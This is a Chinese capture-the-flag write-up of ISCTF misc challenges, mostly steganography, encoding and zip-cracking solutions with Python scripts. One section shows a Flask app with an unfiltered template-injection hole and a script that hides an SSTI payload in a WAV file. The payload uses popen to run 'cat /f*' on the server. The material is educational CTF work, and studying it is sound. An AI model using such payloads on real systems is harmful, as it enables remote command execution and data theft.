ISCTF复现-misc

File_Format

下载附件后用010打开查看文件头会发现是个exe文件

格式:文件描述(后缀名),文件头(hex):文件头标识(十六进制)PNG (png),文件头(hex):89504E47
PNGImageFile (png), 文件头(hex):89504E470D0A
JPEG (jpg), 文件头(hex):FFD8FF
GIF (gif),文件头(hex):47494638
TIFF (tif),文件头(hex):49492A00
GzipArchiveFile (gz;tar;tgz), 文件头(hex):1F8B
AdobeAcrobat (pdf), 文件头(hex):255044462D312E
EXE(EXE), 文件头(hex):4D5A90
Windows Bitmap (bmp),文件头(hex):424D
CAD (dwg),文件头(hex):41433130
Adobe Photoshop (psd),文件头(hex):38425053
Rich Text Format (rtf),文件头(hex):7B5C727466
XML (xml),文件头(hex):3C3F786D6C
HTML (html),文件头(hex):68746D6C3E
Email [thorough only] (eml),文件头(hex):44656C69766572792D646174653A
Outlook Express (dbx),文件头(hex):CFAD12FEC5FD746F
Outlook (pst),文件头(hex):2142444E
MS Word/Excel (xls.or.doc),文件头(hex):D0CF11E0
MS Access (mdb),文件头(hex):5374616E64617264204A
WordPerfect (wpd),文件头(hex):FF575043
Postscript (eps.or.ps),文件头(hex):252150532D41646F6265
Adobe Acrobat (pdf),文件头(hex):255044462D312E
Quicken (qdf),文件头(hex):AC9EBD8F
Windows Password (pwl),文件头(hex):E3828596
ZIP Archive (zip),文件头(hex):504B0304
RAR Archive (rar),文件头(hex):52617221
Wave (wav),文件头(hex):57415645
AVI (avi),文件头(hex):41564920
Real Audio (ram),文件头(hex):2E7261FD
Real Media (rm),文件头(hex):2E524D46
MPEG (mpg),文件头(hex):000001BA
MPEG (mpg),文件头(hex):000001B3
Quicktime (mov),文件头(hex):6D6F6F76
Windows Media (asf),文件头(hex):3026B2758E66CF11
MIDI (mid),文件头(hex):4D546864

修改后缀名后得到

打开时会发现需要密码

在文件尾会发现有压缩包的痕迹,应该是需要压缩包爆破,因为没给别的东西了

将后缀更改为zip,然后进行爆破,在六位数爆破后得到密码241023

最后再次更改为exe,提取后得到flag

starry sky

解压后有三个附件,打开flag.txt会发现有串base64

居然解不出来,看到附件有xor,想到异或,应该是被处理过,码表有问题,但主题肯定是base64,尝试去处理那个png

打开后会发现是个base64转图片,转图片转不出来

解一下,会在末尾发现异或的key是FF,接下来用010进行异或操作

选择十六进制运算下的二进制异或

处理后发现是个wav文件,修改后缀后也听不出来是什么,去看了别人的wp知道要用到RX-sstv进行解密,但是在下载使用这个软件之前,要下载一个虚拟声卡,并且进行设置

SSTV音频转图片_rx-sstv-CSDN博客

这里附上具体操作链接

补充:

虚拟声卡e2eSoft

由于SSTV工具是根据音频传递图片信息,正常解法需要一台设备播放一台设备收音,所以需要一个虚拟声卡,还能避免杂音的干扰。

解密后得到密钥

DES解密得到flag

watermark

解压后得到三个附件

压缩包需要密码,那么肯定来自下面两个附件

可以看到key1是个文字水印

key2是张图片,根据题目来看应该是盲水印

用盲水印工具提取可以得到key2是64oRvUfta9yJsBv

用文本水印工具文本隐水印可以得到key1是FAAqDPjpgKJiB6m

合起来就是FAAqDPjpgKJiB6m64oRvUfta9yJsBv

解压后得到flag.txt

ctrl+f得到flag

像素圣战

打开得到一张倒置的图片,发现名字翻译成英文就想到pixeljihadPixelJihad,看描述里面有一个ISCTF,这个就是密码

得到一串二进制,要是图片是倒置的,那么二进制肯定也是,先用脚本翻转一下

def reverse_string(input_str):return input_str[::-1]# 示例使用
original_string = "10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001"
reversed_string = reverse_string(original_string)print("Original String:", original_string)
print("Reversed String:", reversed_string)

得到翻转后的二进制为

10010011010011100001110101001000110111101110100100110011111011011001011110010111001111001010110110101111111000100110001110111001101001110010111100110111111101100011000011011001111101

总共有182个字符,二进制一般是8的倍数,这里是7的倍数,所以在每七位前面补0,或者,直接用厨师设置就可以了

得到flag

奇怪的txt

解压以后发现是很多的txt文件,文件大小一致,而且内容也都是由base64加密以后的结果,这里猜测,可能是flag的值就在某一个文件的base64加密的数据里面,但是太多了,一个一个看不现实,考虑到可以用脚本,然后就会发现什么都没得到,拉了坨大的,后面通过题目提示和资料查找再结合别人的wp,发现会用到约瑟夫算法

def josephus_problem(n, k):# 创建一个列表来表示玩偶,编号从1到ndolls = list(range(1, n + 1))# 初始化当前索引为0(表示第一个玩偶)index = 0# 创建一个结果列表来存储移除玩偶的顺序result = []while dolls:# 计算下一个要移除的玩偶的索引index = (index + k - 1) % len(dolls)# 将该玩偶添加到结果列表中result.append(dolls.pop(index))return result# 示例使用
n = int(input("请输入玩偶的总数: "))
k = 7  # 固定的数到7
order = josephus_problem(n, k)
print("玩偶被移除的顺序是:", order)

运行后得到正确序列

7, 14, 21, 28, 35, 42, 49, 56, 63, 70, 77, 84, 91, 98, 105, 112, 119, 126, 133, 3, 11, 19, 27, 36, 44, 52, 60, 68, 76, 85, 93, 101, 109, 117, 125, 134, 5, 15, 24, 33, 43, 53, 62, 72, 81, 90, 100, 110, 120, 129, 1, 12, 23, 34, 46, 57, 67, 79, 89, 102, 113, 123, 135, 9, 22, 37, 48, 61, 74, 87, 99, 114, 127, 2, 17, 31, 47, 64, 78, 94, 107, 122, 137, 18, 38, 54, 71, 88, 106, 124, 6, 26, 45, 66, 86, 108, 130, 13, 39, 59, 83, 111, 132, 25, 51, 80, 104, 136, 30, 65, 96, 128, 29, 69, 103, 8, 50, 95, 4, 55, 115, 20, 82, 10, 75, 16, 97, 41, 131, 118, 116, 121, 40, 92, 32, 58, 73

然后依照这个顺序将txt文件中的字符合并

import os# 设置文件夹路径和输出文件路径
folder_path = "奇怪的txt"
output_file_path = "output_file.txt"# 给定字典,包含文件名和对应的数字顺序
file_order = {"7.txt": 1,"14.txt": 2,"21.txt": 3,"28.txt": 4,"35.txt": 5,"42.txt": 6,"49.txt": 7,"56.txt": 8,"63.txt": 9,"70.txt": 10,"77.txt": 11,"84.txt": 12,"91.txt": 13,"98.txt": 14,"105.txt": 15,"112.txt": 16,"119.txt": 17,"126.txt": 18,"133.txt": 19,"3.txt": 20,"11.txt": 21,"19.txt": 22,"27.txt": 23,"36.txt": 24,"44.txt": 25,"52.txt": 26,"60.txt": 27,"68.txt": 28,"76.txt": 29,"85.txt": 30,"93.txt": 31,"101.txt": 32,"109.txt": 33,"117.txt": 34,"125.txt": 35,"134.txt": 36,"5.txt": 37,"15.txt": 38,"24.txt": 39,"33.txt": 40,"43.txt": 41,"53.txt": 42,"62.txt": 43,"72.txt": 44,"81.txt": 45,"90.txt": 46,"100.txt": 47,"110.txt": 48,"120.txt": 49,"129.txt": 50,"1.txt": 51,"12.txt": 52,"23.txt": 53,"34.txt": 54,"46.txt": 55,"57.txt": 56,"67.txt": 57,"79.txt": 58,"89.txt": 59,"102.txt": 60,"113.txt": 61,"123.txt": 62,"135.txt": 63,"9.txt": 64,"22.txt": 65,"37.txt": 66,"48.txt": 67,"61.txt": 68,"74.txt": 69,"87.txt": 70,"99.txt": 71,"114.txt": 72,"127.txt": 73,"2.txt": 74,"17.txt": 75,"31.txt": 76,"47.txt": 77,"64.txt": 78,"78.txt": 79,"94.txt": 80,"107.txt": 81,"122.txt": 82,"137.txt": 83,"18.txt": 84,"38.txt": 85,"54.txt": 86,"71.txt": 87,"88.txt": 88,"106.txt": 89,"124.txt": 90,"6.txt": 91,"26.txt": 92,"45.txt": 93,"66.txt": 94,"86.txt": 95,"108.txt": 96,"130.txt": 97,"13.txt": 98,"39.txt": 99,"59.txt": 100,"83.txt": 101,"111.txt": 102,"132.txt": 103,"25.txt": 104,"51.txt": 105,"80.txt": 106,"104.txt": 107,"136.txt": 108,"30.txt": 109,"65.txt": 110,"96.txt": 111,"128.txt": 112,"29.txt": 113,"69.txt": 114,"103.txt": 115,"8.txt": 116,"50.txt": 117,"95.txt": 118,"4.txt": 119,"55.txt": 120,"115.txt": 121,"20.txt": 122,"82.txt": 123,"10.txt": 124,"75.txt": 125,"16.txt": 126,"97.txt": 127,"41.txt": 128,"131.txt": 129,"118.txt": 130,"116.txt": 131,"121.txt": 132,"40.txt": 133,"92.txt": 134,"32.txt": 135,"58.txt": 136,"73.txt": 137,
}# 对字典进行排序,根据数字顺序
sorted_files = sorted(file_order.items(), key=lambda x: x[1])# 打开输出文件,准备写入
with open(output_file_path, "w") as output_file:# 遍历排序后的字典for file_name, _ in sorted_files:# 构建完整的文件路径file_path = os.path.join(folder_path, file_name)# 确保是 txt 文件if file_path.endswith(".txt"):# 打开文件并读取内容with open(file_path, "r") as file:content = file.read()# 将内容写入输出文件output_file.write(content)# 输出文件已创建,内容已合并

然后会得到一个字符集,查看是base64,文件有点大,kimi写个脚本解码即可得到flag

import base64# 读取output_file.txt的内容,并将其编码为字节串
with open('output_file.txt', 'r', encoding='UTF-8') as f:Sstr = "".join(f.readlines()).encode('utf-8')src = Sstr
decoded_str = None  # 用于存储最后一次成功解码的字符串while True:try:# 尝试解码src = base64.b64decode(src)# 如果解码成功,尝试将其解码为UTF-8字符串(这里可能抛出异常,如果解码后的数据不是有效的UTF-8)decoded_str = src.decode('utf-8')except (base64.binascii.Error, UnicodeDecodeError):# 如果捕获到base64解码错误或UTF-8解码错误,则退出循环break# 如果没有异常,则继续下一次迭代(但在这个例子中,由于我们解码后立即检查,所以实际上不需要continue)# 如果decoded_str不为None,则写入result.txt;否则,可能表示无法解码任何内容
if decoded_str is not None:with open('result.txt', 'w', encoding='utf-8') as file:file.write(decoded_str)print('ok')
else:print('Failed to decode any content.')

少女的秘密花园

解压后得到一张图片,用foremost分离文件

打开会得到一个zip

解压后得到的文件再次分离

得到一个压缩包,但是需要密码,爆破一下看看

得到密码

解压后的flag.txt中发现需要base64转图片

得到一张不全的盲文表,修改高后如图所示,对照盲文表得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2

解码得到flag

数字迷雾:在像素中寻找线索

照例丢进随波逐流,没想到一下就跑出来了,看了发现应该是lsb隐写

来自天外的信息

游园地1

直接百度识图就可以了

游园地2

这个通过识图就出不来了,后面是根据店铺山崎居酒屋找到的位置,问了朋友是圣地巡礼

【圣地巡礼攻略】江城——《高恋》《三恋》武汉篇 - 哔哩哔哩

 神秘ping

解压后得到一个ping文件,发现有流量包信息,被倒置了

def reverse_file_bytes(input_file, output_file):try:with open(input_file, 'rb') as f:   #以二进制读取模式打开输入文件file_bytes = f.read()           #读取文件的全部内容到 file_bytes 变量中reversed_bytes = file_bytes[::-1]    #这是一个 Python 切片技巧,用于反转字节序列with open(output_file, 'wb') as f:    #以二进制写入模式打开输出文件f.write(reversed_bytes)          #将反转后的字节写入输出文件except Exception as e:print(f"An error occurred: {e}")# 调用函数,输入文件为当前目录下的 'ping',输出文件为当前目录下的 'reversed_ping'
reverse_file_bytes('ping', 'reversed_ping')

用脚本恢复后拿wireshark打开

发现其中的ttl值分别有63、64、127、191、255组成,ttl为64的值是是返回的信息,⽤tshark提取ttl的值,会得到一个ttl的数据集合

tshark -r ping.pcap -Y "icmp" -T fields -e ip.ttl > ttl.txt

ttl_to_binary = {63: '00',127: '01',191: '10',255: '11'
}ttl_values = [127, 63, 127, 63, 127, 63, 63, 127, 127, 127, 63, 255, 127, 63, 63, 255, 127, 127, 127, 63,127, 63, 127, 191, 127, 255, 191, 255, 63, 255, 127, 191, 63, 255, 63, 191, 63, 255, 127, 255,63, 255, 191, 63, 63, 255, 127, 63, 63, 255, 191, 63, 127, 191, 63, 255, 63, 255, 63, 63, 63,191, 255, 127, 63, 255, 127, 255, 63, 255, 127, 127, 63, 255, 191, 127, 127, 191, 63, 255, 63,191, 255, 127, 63, 255, 63, 127, 63, 255, 63, 127, 127, 191, 127, 127, 127, 191, 127, 191, 63,191, 255, 127, 63, 255, 191, 127, 63, 255, 191, 127, 63, 255, 191, 127, 127, 191, 127, 191, 63,191, 255, 127, 63, 255, 63, 63, 63, 255, 63, 63, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63,191, 63, 255, 191, 127, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63, 127, 63, 255, 191, 127,63, 255, 127, 191, 127, 191, 127, 127, 127, 127, 255, 255, 127
]  # 示例 TTL 列表def ttl_to_binary_string(ttl_values):binary_string = ''for ttl in ttl_values:if ttl in ttl_to_binary:binary_string += ttl_to_binary[ttl]return binary_stringdef binary_to_string(binary_string):chars = []for i in range(0, len(binary_string), 8):byte = binary_string[i:i+8]chars.append(chr(int(byte, 2)))return ''.join(chars)binary_data = ttl_to_binary_string(ttl_values)
print(f"bin: {binary_data}")decoded_message = binary_to_string(binary_data)
print(f"msg: {decoded_message}")

神秘的wav

打开环境是一个文件上传的页面,但是这是misc,肯定不会是文件上传,题目给了一个附件,可以尝试上传看看

给了一个base64编码

解码后是/source

访问得到一个脚本,脚本的ext函数定义了网页是如何解析wav文件,并作为输出此代码的核验标准

from flask import Flask, request, render_template, send_file, render_template_string
import wave
import osapp = Flask(__name__)UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)def ext(inp):         //它打开WAV文件,读取所有帧,然后将帧转换为字节数组。接着,它提取每个字节的第二位(最低位),因为信息被隐藏在这里。然后,它将这些位重新组合成字符,直到遇到一个空字符('\x00'),这通常用作消息的结束标志.'''希望你能自己搓出脚本'''with wave.open(inp, 'rb') as wav:frames = wav.readframes(wav.getnframes())frames_array = bytearray(frames)message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]message = ''for i in range(0, len(message_bits), 8):byte = message_bits[i:i+8]char = chr(int(''.join(byte), 2))if char == '\x00':breakmessage += charreturn message@app.route('/', methods=['GET', 'POST'])
def upload_file():'''一位misc手在各个方向都要有所了解'''if request.method == 'POST':file = request.files['file']if file and file.filename.endswith('.wav'):filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)file.save(filepath)message = ext(filepath)return render_template_string(message)else:return render_template_string("pls upload wav")      //此处用render_template_string 打印回显。return render_template('upload.html')@app.route('/source', methods=['GET'])
def get_source():return send_file('app.py')if __name__ == '__main__':app.run(debug=True)

render_template_string 打印回显的内容,存在ssti漏洞,而且在这段代中并没有任何的过滤,我们可以将我们要利用的ssti用我们的到的wav解密脚本写一个加密脚本,加密我们的ssti的payload,再回到上传页面,将加密的wav上传

import wavedef hide_msg(inp, out, msg):with wave.open(inp, 'rb') as wav:params = wav.getparams()frames = wav.readframes(wav.getnframes())msg_bin = ''.join(format(ord(char), '08b') for char in msg)msg_bin += '00000000'frames_array = bytearray(frames)for i in range(len(msg_bin)):frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)with wave.open(out, 'wb') as out_wav:  # 确保这里的变量名与打开文件的变量名一致out_wav.setparams(params)out_wav.writeframes(frames_array)# 调用函数,传入输入文件路径、输出文件路径和要隐藏的消息
hide_msg("inp.wav", "out.wav", "{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ == '_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /f*').read()%}{%endif%}{%endfor%}")

得到flag

秘密

打开后发现压缩包需要解密,联系题目描述可以知道要用到oursecret,但是需要密码才行

打开010查看一下找到了密码同时发现这个压缩包是伪加密

修改加密位后得到这张图片

得到一个txt文件

打开后看到文字里肯定有什么东西,尝试文本隐写

乱码了,搜素发现应该是零宽字符解密

得到flag

老八奇怪自拍照

附件打开后得到一张图片

根据题目描述lsb,可以看到开头是zip文件

解压后得到另外一张图

010打开会看到有个1ScTf2024!根本不知道可以用来干什么,还是去看了别人的wp,发现是steghide,反正这个脑洞我是一点都有不起啊

得到flag

赢!rar

打开附件后发现压缩包需要密码,010查看不是伪加密,直接上爆破

发现不行

在010中找到密码

打开后会发现txt文件

仔细查看会发现123的修改时间与别的不一样

打开发现有一串编码

没想法了,去看了wp,发现应该是有个文件在解压过程,相关的文件因为某种原因被处理为了冗余文件,被清理了,或者说解压以后就在原文件夹里面把那个文件删除了,尝试用7z解压看看

可以发现有这个文件

xxencode解密得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/491858.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows设置所有软件默认以管理员身份运行

方法一、修改注册表 winr打开运行&#xff0c;输入“regedit”打开注册表&#xff1b; 打开此路径“计算机HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem”&#xff1b; 在右侧找到“EnableLUA”&#xff0c;将其值改为0&#xff0c;重启电脑。 …

【题解】—— LeetCode一周小结50

&#x1f31f;欢迎来到 我的博客 —— 探索技术的无限可能&#xff01; &#x1f31f;博客的简介&#xff08;文章目录&#xff09; 【题解】—— 每日一道题目栏 上接&#xff1a;【题解】—— LeetCode一周小结49 9.判断国际象棋棋盘中一个格子的颜色 题目链接&#xff1a;…

Docker安全性与最佳实践

一、引言&#xff1a;Docker安全性的重要性 Docker作为一种容器化技术&#xff0c;已成为现代应用程序部署和开发的核心工具。然而&#xff0c;随着容器化应用的普及&#xff0c;Docker的安全性问题也日益突出。容器本身的隔离性、网络配置、权限管理等方面的安全隐患&#xf…

利用notepad++删除特定关键字所在的行

1、按组合键Ctrl H&#xff0c;查找模式选择 ‘正则表达式’&#xff0c;不选 ‘.匹配新行’ 2、查找目标输入 &#xff1a; ^.*关键字.*\r\n (不保留空行) ^.*关键字.*$ (保留空行)3、替换为&#xff1a;&#xff08;空&#xff09; 配置界面参考下图&#xff1a; ​​…

上传图片的预览

解决:在上传图片时,1显示已有的图片 2显示准备替换的图片 前 后 在这个案例中可以预览到 【已有与准备替换】 2张图片 具体流程 1创建一个共享组件 与manage.py同级别路径的文件 manage.py custom_widgets.py# custom_widgets.py from django import forms from dja…

MySQL学习之DDL操作

目录 数据库的操作 创建 查看 选择 删除 修改 数据类型 表的创建 表的修改 表的约束 主键 PRIMARY KEY 唯一性约束 UNIQUE 非空约束 NOT NULL 外键约束 约束小结 索引 索引分类 常规索引 主键索引 唯一索引 外键索引 优点 缺点 视图 创建 删除 修改…

国际网络专线是什么?有什么优势?

国际网络专线作为一种独立的网络连接方式&#xff0c;通过卫星或海底光缆等物理链路&#xff0c;将全球不同国家和地区的网络直接互联&#xff0c;为企业提供了可靠的通信渠道。本文将详细探讨国际网络专线的优势以及其广泛的应用场景。 国际网络专线的优势解析 1. 专属连接&am…

密码编码学与网络安全(第五版)答案

通过如下代码分别统计一个字符的频率和三个字符的频率&#xff0c;"8"——"e"&#xff0c;“&#xff1b;48”——“the”&#xff0c;英文字母的相对使用频率&#xff0c;猜测频率比较高的依此为&#xff09;&#xff0c;t,*,5&#xff0c;分别对应s,o,n,…

【功能安全】随机硬件失效导致违背安全目标的评估(FMEDA)

目录 01 随机硬件失效介绍 02 FMEDA介绍 03 FMEDA模板 01 随机硬件失效介绍 GBT 34590 part5

mybatis 的动态sql 和缓存

动态SQL 可以根据具体的参数条件&#xff0c;来对SQL语句进行动态拼接。 比如在以前的开发中&#xff0c;由于不确定查询参数是否存在&#xff0c;许多人会使用类似于where 1 1 来作为前缀&#xff0c;然后后面用AND 拼接要查询的参数&#xff0c;这样&#xff0c;就算要查询…

Web APIs - 第5章笔记

目标&#xff1a; 依托 BOM 对象实现对历史、地址、浏览器信息的操作或获取 具备利用本地存储实现学生就业表案例的能力 BOM操作 综合案例 JavaScript的组成 ECMAScript: 规定了js基础语法核心知识。 比如&#xff1a;变量、分支语句、循环语句、对象等等 Web APIs : DO…

AI视频配音技术创新应用与商业机遇

随着人工智能技术的飞速发展&#xff0c;AI视频配音技术已经成为内容创作者和营销人员的新宠。这项技术不仅能够提升视频内容的吸引力&#xff0c;还能为特定行业带来创新的解决方案。本文将探讨AI视频配音技术的应用场景&#xff0c;并讨论如何合法合规地利用这一技术。 AI视频…

vlan和vlanif

文章目录 1、为什么会有vlan的存在2、vlan(虚拟局域网)1、vlan原理1. 为什么这样划分了2、如何实现不同交换机相同的vlan实现互访呢3、最优化的解决方法&#xff0c;vlan不同交换机4、vlan标签和vlan数据帧 5、vlan实现2、基于vlan的划分方式1、基于接口的vlan划分方式2、基于m…

Java每日一题(1)

给定n个数a1,a2,...an,求它们两两相乘再相加的和。 即&#xff1a;Sa1*a2a1*a3...a1*ana2*a3...an-2*an-1an-2*anan-1*an 第一行输入的包含一个整数n。 第二行输入包含n个整数a1,a2,...an。 样例输入 4 1 3 6 9 样例输出 117 答案 import java.util.Scanner; // 1:无…

Redis应用—6.热key探测设计与实践

大纲 1.热key引发的巨大风险 2.以往热key问题怎么解决 3.热key进内存后的优势 4.热key探测关键指标 5.热key探测框架JdHotkey的简介 6.热key探测框架JdHotkey的组成 7.热key探测框架JdHotkey的工作流程 8.热key探测框架JdHotkey的性能表现 9.关于热key探测框架JdHotke…

Elasticsearch:使用 Open Crawler 和 semantic text 进行语义搜索

作者&#xff1a;来自 Elastic Jeff Vestal 了解如何使用开放爬虫与 semantic text 字段结合来轻松抓取网站并使其可进行语义搜索。 Elastic Open Crawler 演练 我们在这里要做什么&#xff1f; Elastic Open Crawler 是 Elastic 托管爬虫的后继者。 Semantic text 是 Elasti…

python爬虫入门教程

安装python 中文网 Python中文网 官网 安装好后打开命令行执行&#xff08;如果没有勾选添加到Path则注意配置环境变量&#xff09; python 出现如上界面则安装成功 设置环境变量 右键我的电脑->属性 设置下载依赖源 默认的是官网比较慢&#xff0c;可以设置为清华大…

数据结十大排序之(冒泡,快排,并归)

接上期&#xff1a; 数据结十大排序之&#xff08;选排&#xff0c;希尔&#xff0c;插排&#xff0c;堆排&#xff09;-CSDN博客 前言&#xff1a; 在计算机科学中&#xff0c;排序算法是最基础且最重要的算法之一。无论是大规模数据处理还是日常的小型程序开发&#xff0c;…

游戏引擎学习第54天

仓库: https://gitee.com/mrxiao_com/2d_game 回顾 我们现在正专注于在游戏世界中放置小实体来代表所有的墙。这些实体围绕着世界的每个边缘。我们有活跃的实体&#xff0c;这些实体位于玩家的视野中&#xff0c;频繁更新&#xff0c;而那些离玩家较远的实体则以较低的频率运…

网络安全漏洞挖掘之漏洞SSRF

SSRF简介 SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下&#xff0c;SSRF攻击的目标是从外网无法访问的内部系统。&#xff08;正是因为它是由服务端发起的&#xff0c;所以它能够请求到与它相连而与外…